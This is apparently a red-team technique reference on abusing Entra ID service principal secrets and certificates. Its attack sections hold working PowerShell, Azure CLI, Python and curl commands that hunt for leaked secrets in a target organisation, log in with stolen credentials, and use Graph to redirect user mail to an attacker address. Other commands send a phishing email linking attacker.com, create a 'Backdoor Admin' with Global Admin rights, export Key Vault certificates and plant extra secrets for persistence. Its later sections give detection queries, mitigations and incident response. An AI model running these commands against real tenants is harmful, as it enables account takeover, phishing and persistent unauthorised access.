MCADDF

[LM-AUTH-005]: Service Principal Key/Certificate Authentication

Metadata

Attribute Details
Technique ID LM-AUTH-005
MITRE ATT&CK v18.1 T1550.001 - Use Alternate Authentication Material: Application Access Token
Tactic Defense Evasion, Lateral Movement
Platforms Entra ID, Azure Resources, M365, SaaS Applications
Severity Critical
CVE N/A (Design feature; misconfigurations exploited)
Technique Status ACTIVE
Last Verified 2025-01-10
Affected Versions Entra ID (all versions), Azure SDK 1.0+
Patched In Not applicable; requires policy hardening and RBAC restrictions
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Service Principals in Entra ID are applications that can authenticate to Azure/Entra ID and other cloud services using cryptographic credentials (either a client secret [password] or a certificate). Unlike user accounts that use passwords, service principals authenticate using OAuth 2.0 client credentials flow (grant_type=client_credentials). If a service principal’s credential (secret or certificate) is compromised, an attacker can:

  1. Obtain access tokens with all permissions the service principal has
  2. Access Azure resources (VMs, storage, databases)
  3. Read/modify Entra ID objects (users, groups, apps)
  4. Perform impersonation of users via Microsoft Graph
  5. Access SaaS applications (Teams, SharePoint, Exchange) as the service principal
  6. Establish persistent backdoor access without user awareness

Service principals are particularly dangerous targets because:

Attack Surface:

Business Impact: Unrestricted access to cloud infrastructure and data. An attacker with service principal credentials can:

  1. Read all Azure resources and tenant metadata
  2. Modify user accounts, groups, and permissions
  3. Deploy malicious VMs or containers
  4. Exfiltrate sensitive data from storage accounts and databases
  5. Establish persistence via additional service principal creation
  6. Trigger ransomware or sabotage attacks on cloud infrastructure
  7. Access all M365 services (Teams, Exchange, SharePoint) with service principal permissions

Technical Context: Service principal authentication is fast (no MFA check) and leaves minimal logs compared to user authentication. Access tokens remain valid for 1 hour, allowing significant dwell time.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 6.1, 6.2 Service principal least privilege and secret management.
DISA STIG Azure_AD-2.2, Azure_AppReg-1 Application credentials and permission management.
CISA SCuBA APPS-02, APPS-03 Application identity security and credential management.
NIST 800-53 AC-2, AC-3, IA-4 Account management, access enforcement, identifier management.
GDPR Art. 32 Security of processing; credential protection.
DORA Art. 9, Art. 11 Protection and prevention, protection of data and systems.
NIS2 Art. 21 Cyber risk management measures, credentials and access control.
ISO 27001 A.6.2.1, A.9.2.1 Access control, user registration and de-registration.
ISO 27005 Risk: Unauthorized access via compromised service principal credentials Unrestricted access to cloud infrastructure

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

Enumerate Service Principals

Check what service principals are available and their permissions:

# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.Read.All"

# List all service principals in tenant
Get-MgServicePrincipal | Select-Object DisplayName, AppId, CreatedDateTime | Format-Table

# Find service principals with high-risk permissions
Get-MgServicePrincipal | Where-Object {
    $principal = $_
    Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $principal.Id | 
    Where-Object {$_.AppRoleId -match "Directory.ReadWrite|User.ReadWrite|Mail.Send|Admin"}
} | Select-Object DisplayName, AppId

What to Look For:

Version Note:

Check Service Principal Credentials

Identify which service principals have exposed credentials:

# Check for service principals with client secrets (versus certificates)
Get-MgApplication | ForEach-Object {
    $appId = $_.AppId
    $keyCount = ($_.KeyCredentials | Measure-Object).Count
    $secretCount = ($_.PasswordCredentials | Measure-Object).Count
    
    if ($secretCount -gt 0 -or $keyCount -gt 0) {
        Write-Host "App: $($_.DisplayName), Secrets: $secretCount, Certificates: $keyCount"
    }
}

# Check for service principals with credentials expiring soon
Get-MgServicePrincipal | ForEach-Object {
    $sp = $_
    Get-MgServicePrincipalPasswordCredential -ServicePrincipalId $sp.Id | 
    Where-Object {$_.EndDateTime -lt (Get-Date).AddDays(30)} |
    Select-Object @{Name="ServicePrincipal"; Expression={$sp.DisplayName}}, EndDateTime
}

What to Look For:


4. DETAILED EXECUTION METHODS

METHOD 1: Service Principal Authentication via Client Secret

Supported Versions: All Entra ID versions

Step 1: Obtain Service Principal Credentials

Objective: Identify and acquire a compromised or accessible service principal secret.

Sources of Exposure:

Example (Finding exposed secrets):

# Search GitHub for exposed Azure secrets
curl -s "https://api.github.com/search/code?q=client_secret+language:json" | jq
curl -s "https://api.github.com/search/code?q=azure_client_secret" | jq

# Or use TruffleHog for local scanning
trufflehog github --org "target-org"
trufflehog filesystem /path/to/code

Expected Output (if credentials found):

{
  "client_id": "12345678-1234-1234-1234-123456789012",
  "client_secret": "abc123def456~ghi789jklmno",
  "tenant_id": "87654321-4321-4321-4321-210987654321"
}

What This Means:

OpSec & Evasion:

Step 2: Authenticate as Service Principal to Entra ID

Objective: Use the service principal credentials to obtain an access token.

Command (Using Azure CLI):

az login --service-principal -u "<client_id>" -p "<client_secret>" --tenant "<tenant_id>"

Command (Using PowerShell Microsoft Graph):

$clientId = "12345678-1234-1234-1234-123456789012"
$clientSecret = "abc123def456~ghi789jklmno"
$tenantId = "87654321-4321-4321-4321-210987654321"

# Convert secret to secure string
$secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force

# Create credential object
$credential = New-Object System.Management.Automation.PSCredential($clientId, $secureSecret)

# Connect to Microsoft Graph
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential

Command (Using Python Azure SDK):

from azure.identity import ClientSecretCredential
from azure.mgmt.subscription import SubscriptionClient

client_id = "12345678-1234-1234-1234-123456789012"
client_secret = "abc123def456~ghi789jklmno"
tenant_id = "87654321-4321-4321-4321-210987654321"

# Create credential
credential = ClientSecretCredential(
    client_id=client_id,
    client_secret=client_secret,
    tenant_id=tenant_id
)

# Get access token
token = credential.get_token("https://graph.microsoft.com/.default")
print(f"Access Token: {token.token[:50]}...")

Command (Using curl - Direct OAuth2):

curl -X POST \
  -d "client_id=12345678-1234-1234-1234-123456789012" \
  -d "client_secret=abc123def456~ghi789jklmno" \
  -d "grant_type=client_credentials" \
  -d "scope=https://graph.microsoft.com/.default" \
  "https://login.microsoftonline.com/87654321-4321-4321-4321-210987654321/oauth2/v2.0/token"

Expected Output (on success):

{
  "token_type": "Bearer",
  "expires_in": 3599,
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGc..."
}

or (PowerShell):

Welcome To Microsoft Graph!

What This Means:

OpSec & Evasion:

Step 3: Use Access Token for API Calls

Objective: Leverage the access token to perform malicious actions.

Command (List all users in Entra ID):

curl -X GET \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://graph.microsoft.com/v1.0/users" | jq

Command (Modify user’s primary email):

curl -X PATCH \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"mail":"attacker@domain.com"}' \
  "https://graph.microsoft.com/v1.0/users/<user_id>"

Command (Send email as user):

curl -X POST \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "message": {
      "subject": "Meeting Tomorrow",
      "body": {"contentType": "HTML", "content": "Click here: <a href=\"https://attacker.com/phish\">Confirm Meeting</a>"},
      "toRecipients": [{"emailAddress": {"address": "victim@domain.com"}}]
    },
    "saveToSentItems": "false"
  }' \
  "https://graph.microsoft.com/v1.0/me/sendMail"

Command (Create new user in Entra ID):

curl -X POST \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "accountEnabled": true,
    "displayName": "Backdoor Admin",
    "mailNickname": "backdoor",
    "userPrincipalName": "backdoor@domain.onmicrosoft.com",
    "passwordProfile": {
      "forceChangePasswordNextSignIn": false,
      "password": "Backdoor123!@#"
    }
  }' \
  "https://graph.microsoft.com/v1.0/users"

Command (Assign Global Admin role to backdoor user):

curl -X POST \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "principalId": "<backdoor_user_id>",
    "roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10"
  }' \
  "https://graph.microsoft.com/v1.0/directoryRoles/<global_admin_role_id>/members"

Expected Output (list users):

{
  "value": [
    {
      "id": "user1-id",
      "displayName": "Admin User",
      "mail": "admin@domain.com",
      "userType": "Member"
    },
    {...}
  ]
}

What This Means:

References & Proofs:


METHOD 2: Service Principal Authentication via Certificate

Supported Versions: All Entra ID versions (certificates preferred for security)

Step 1: Obtain Service Principal Certificate

Objective: Acquire the certificate and private key for service principal.

Sources of Exposure:

Example (Extract from Key Vault):

# Connect to Azure with initial credentials
Connect-AzAccount -ServicePrincipal -Credential $credential

# Get certificate from Key Vault
$cert = Get-AzKeyVaultCertificate -VaultName "keyvault-name" -Name "cert-name"
$secret = Get-AzKeyVaultSecret -VaultName "keyvault-name" -Name $cert.Name

# Export to file
$secretBytes = [System.Convert]::FromBase64String($secret.SecretValueText)
[System.IO.File]::WriteAllBytes("C:\temp\sp_cert.pfx", $secretBytes)

Expected Output:

C:\temp\sp_cert.pfx (file created)

Step 2: Authenticate Using Certificate

Objective: Use certificate to obtain access token.

Command (Using Azure CLI):

az login --service-principal -u "<client_id>" \
  --cert-file "sp_cert.pfx" --password "cert_password" \
  --tenant "<tenant_id>"

Command (Using PowerShell):

$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new("C:\temp\sp_cert.pfx", "cert_password")
$clientId = "12345678-1234-1234-1234-123456789012"
$tenantId = "87654321-4321-4321-4321-210987654321"

# Create certificate-based credential
$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $clientId, (ConvertTo-SecureString -String "dummy" -AsPlainText -Force)

# Connect to Microsoft Graph with certificate
Connect-MgGraph -TenantId $tenantId -Certificate $cert -ClientId $clientId

Expected Output:

Welcome To Microsoft Graph!

What This Means:


METHOD 3: Privilege Escalation via Service Principal Ownership

Supported Versions: All Entra ID versions

Step 1: Find Service Principal Ownership Chains

Objective: Identify service principals that own other service principals (escalation path).

Command:

# Find service principals and their owners
$sps = Get-MgServicePrincipal -All

foreach ($sp in $sps) {
    $owners = Get-MgServicePrincipalOwner -ServicePrincipalId $sp.Id
    
    if ($owners) {
        foreach ($owner in $owners) {
            Write-Host "Service Principal: $($sp.DisplayName), Owner: $($owner.DisplayName) (Type: $($owner.OdataType))"
            
            # Check if owner is another service principal (escalation opportunity)
            if ($owner.OdataType -eq "#microsoft.graph.servicePrincipal") {
                Write-Host "  *** ESCALATION PATH: $($owner.DisplayName) owns $($sp.DisplayName) ***"
            }
        }
    }
}

Expected Output:

Service Principal: App-A, Owner: App-B (Type: #microsoft.graph.servicePrincipal)
  *** ESCALATION PATH: App-B owns App-A ***
Service Principal: App-B, Owner: Admin User (Type: #microsoft.graph.user)

What This Means:

Step 2: Modify Owned Service Principal Credentials

Objective: Add attacker’s own credentials to an owned service principal (persistence).

Command:

# Get the service principal that we own
$targetSP = Get-MgServicePrincipal -Filter "displayName eq 'Target-App'"

# Create a new client secret for the target service principal
$secret = Add-MgServicePrincipalPassword -ServicePrincipalId $targetSP.Id

Write-Host "New Secret Created!"
Write-Host "ServicePrincipal: $($targetSP.DisplayName)"
Write-Host "ClientId: $($targetSP.AppId)"
Write-Host "ClientSecret: $($secret.SecretText)"

Expected Output:

New Secret Created!
ServicePrincipal: Target-App
ClientId: 87654321-4321-4321-4321-210987654321
ClientSecret: xyz789abc456~def123ghi

What This Means:

References & Proofs:


5. ATTACK SIMULATION & VERIFICATION

No Official Atomic Red Team Test

Command (GraphRunner simulation):

# Install GraphRunner
git clone https://github.com/dorkostyle/GraphRunner.git
cd GraphRunner
python graphrunner.py

# Simulate service principal authentication
./graphrunner.py --clientid "CLIENT_ID" --clientsecret "CLIENT_SECRET" --tenantid "TENANT_ID" --enumerate-users

6. TOOLS & COMMANDS REFERENCE

Microsoft Graph PowerShell SDK

Version: 2.0+ Supported Platforms: Windows, Linux, macOS (PowerShell 7+)

Installation:

Install-Module Microsoft.Graph -Scope CurrentUser

Usage (Service Principal Auth):

$clientId = "client-id"
$clientSecret = "client-secret"
$tenantId = "tenant-id"

$secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($clientId, $secureSecret)

Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential

Azure CLI

Version: 2.50.0+ Supported Platforms: Windows, Linux, macOS

Usage:

az login --service-principal -u "client-id" -p "client-secret" --tenant "tenant-id"
az ad user list
az ad user update --id "user-id" --mail "attacker@domain.com"

GraphRunner

Version: Latest Supported Platforms: Linux (Python 3.8+)

Installation:

git clone https://github.com/dorkostyle/GraphRunner.git
cd GraphRunner
pip install -r requirements.txt

Usage:

python graphrunner.py --clientid "CLIENT_ID" --clientsecret "CLIENT_SECRET" --tenantid "TENANT_ID" --enumerate-users

7. MICROSOFT SENTINEL DETECTION

Query 1: Service Principal with Unusual API Activity

Rule Configuration:

KQL Query:

AuditLogs
| where ServicePrincipalName != ""
| where OperationName in ("Create user", "Update user", "Add member to group", "Create application", "Update application")
| summarize ActionCount = count() by ServicePrincipalName, OperationName, bin(TimeGenerated, 5m)
| where ActionCount > 5
| project TimeGenerated, ServicePrincipalName, OperationName, ActionCount

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Microsoft SentinelAnalytics+ CreateScheduled query rule
  2. Name: Entra ID - Suspicious Service Principal Activity
  3. Severity: High
  4. Paste KQL query
  5. Frequency: 5 minutes
  6. Lookback: 30 minutes
  7. Click Create

Query 2: Service Principal with New Credentials Added

KQL Query:

AuditLogs
| where OperationName in ("Add credentials to application", "Update service principal")
| where ActivityDisplayName contains "credential" or ActivityDisplayName contains "secret"
| project TimeGenerated, InitiatedBy, TargetResources, Result

What This Detects:


8. WINDOWS EVENT LOG MONITORING

Event ID: N/A (Cloud-Only)


9. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Priority 3: MEDIUM

Validation Command (Verify Fix)

# Check service principal credential age
Get-MgApplication | ForEach-Object {
    $app = $_
    $pwCreds = Get-MgApplicationPasswordCredential -ApplicationId $app.Id | 
               Where-Object {(Get-Date) - $_.StartDateTime -gt [TimeSpan]::FromDays(90)}
    
    if ($pwCreds) {
        Write-Host "❌ RISK: App '$($app.DisplayName)' has credentials older than 90 days"
    } else {
        Write-Host "✓ App '$($app.DisplayName)' has recent credentials"
    }
}

# Check for overprivileged service principals
Get-MgServicePrincipal -All | ForEach-Object {
    $sp = $_
    $dangerousPerms = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id | 
                      Where-Object {$_.AppRoleId -match "Directory.ReadWrite|User.ImpersonateAll"}
    
    if ($dangerousPerms) {
        Write-Host "❌ RISK: Service Principal '$($sp.DisplayName)' has dangerous permissions"
    }
}

# Check if secrets are stored in Key Vault
$secrets = Get-AzKeyVaultSecret -VaultName "your-keyvault"
Write-Host "✓ Secrets stored in Key Vault: $($secrets.Count)"

Expected Output (If Secure):

✓ App 'GraphRunner' has recent credentials
✓ App 'Teams Integration' has recent credentials
✓ Secrets stored in Key Vault: 5

What to Look For:


10. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Immediate Isolation: Command:
    # Revoke all credentials for compromised service principal
    Remove-MgApplicationPassword -ApplicationId "<app_id>" -PasswordCredentialId "<credential_id>"
        
    # Or remove the entire service principal if too high-risk
    Remove-MgServicePrincipal -ServicePrincipalId "<sp_id>"
    

    Manual:

    • Azure PortalApp registrations → Select app → Certificates & secrets → Delete all secrets
  2. Collect Evidence: Command:
    # Export audit logs showing service principal activity
    Get-MgAuditLogDirectoryAudit -Filter "servicePrincipalName eq 'compromised-app'" | Export-Csv audit.csv
    
  3. Remediate: Command:
    # Create new service principal to replace compromised one
    New-MgApplication -DisplayName "Replacement-Service-Principal" | 
    New-MgServicePrincipal -AppId $_.AppId
        
    # Assign same permissions to new service principal
    

    Manual:

    1. Delete compromised service principal
    2. Create new service principal with same name
    3. Re-upload certificates or generate new secrets
    4. Update all applications/pipelines to use new credentials
    5. Implement more restrictive permissions
  4. Long-Term:
    • Implement secret scanning in CI/CD pipeline (detect hardcoded secrets before commit)
    • Enforce Key Vault usage for all credentials
    • Implement service principal access reviews (quarterly)
    • Enable MFA/Conditional Access for administrative service principals

Step Phase Technique Description
1 Initial Access [IA-PHISH-002] Consent Grant OAuth Attacker tricks user into granting app permissions
2 Credential Access [CA-UNSC-010] Service Principal Secrets Attacker finds hardcoded secrets in GitHub
3 Current Step [LM-AUTH-005] Attacker authenticates as service principal
4 Privilege Escalation [PE-ACCTMGMT-001] App Reg Permissions Attacker elevates service principal to Global Admin role
5 Persistence [PE-ACCTMGMT-014] Global Admin Backdoor Attacker creates backdoor admin account
6 Impact Data Exfiltration Attacker exports all tenant data via Graph API

12. REAL-WORLD EXAMPLES

Example 1: SolarWinds Supply Chain Attack (December 2020)

Example 2: GitHub Enterprise Compromise (2023)

Example 3: Terraform State File Exposure


13. RECOMMENDATIONS & ADVANCED HARDENING

Immediate Actions (24 Hours)

  1. Audit All Service Principal Secrets – Find all hardcoded secrets in code
  2. Rotate All Credentials – Change all service principal secrets/certificates
  3. Remove Unnecessary Secrets – Delete unused service principal credentials
  4. Enable Audit Logging – Ensure Entra ID audit logs are captured

Strategic Actions (30 Days)

  1. Implement Secret Management – Migrate all secrets to Azure Key Vault
  2. Enable Secret Scanning – GitHub/Azure Repos with secret detection
  3. Implement Least Privilege – Audit and restrict service principal permissions
  4. Establish Service Principal Governance – Define ownership, approval process, lifecycle management

Long-Term (90+ Days)

  1. Managed Identities – Replace service principals with managed identities (Azure VMs, Functions)
  2. Workload Identity Federation – Eliminate shared secrets entirely; use OpenID Connect
  3. Passwordless Authentication – For humans; for service principals use certificates + key rotation
  4. Zero Trust – Assume breach; implement strict access controls and monitoring

14. REFERENCES & FURTHER READING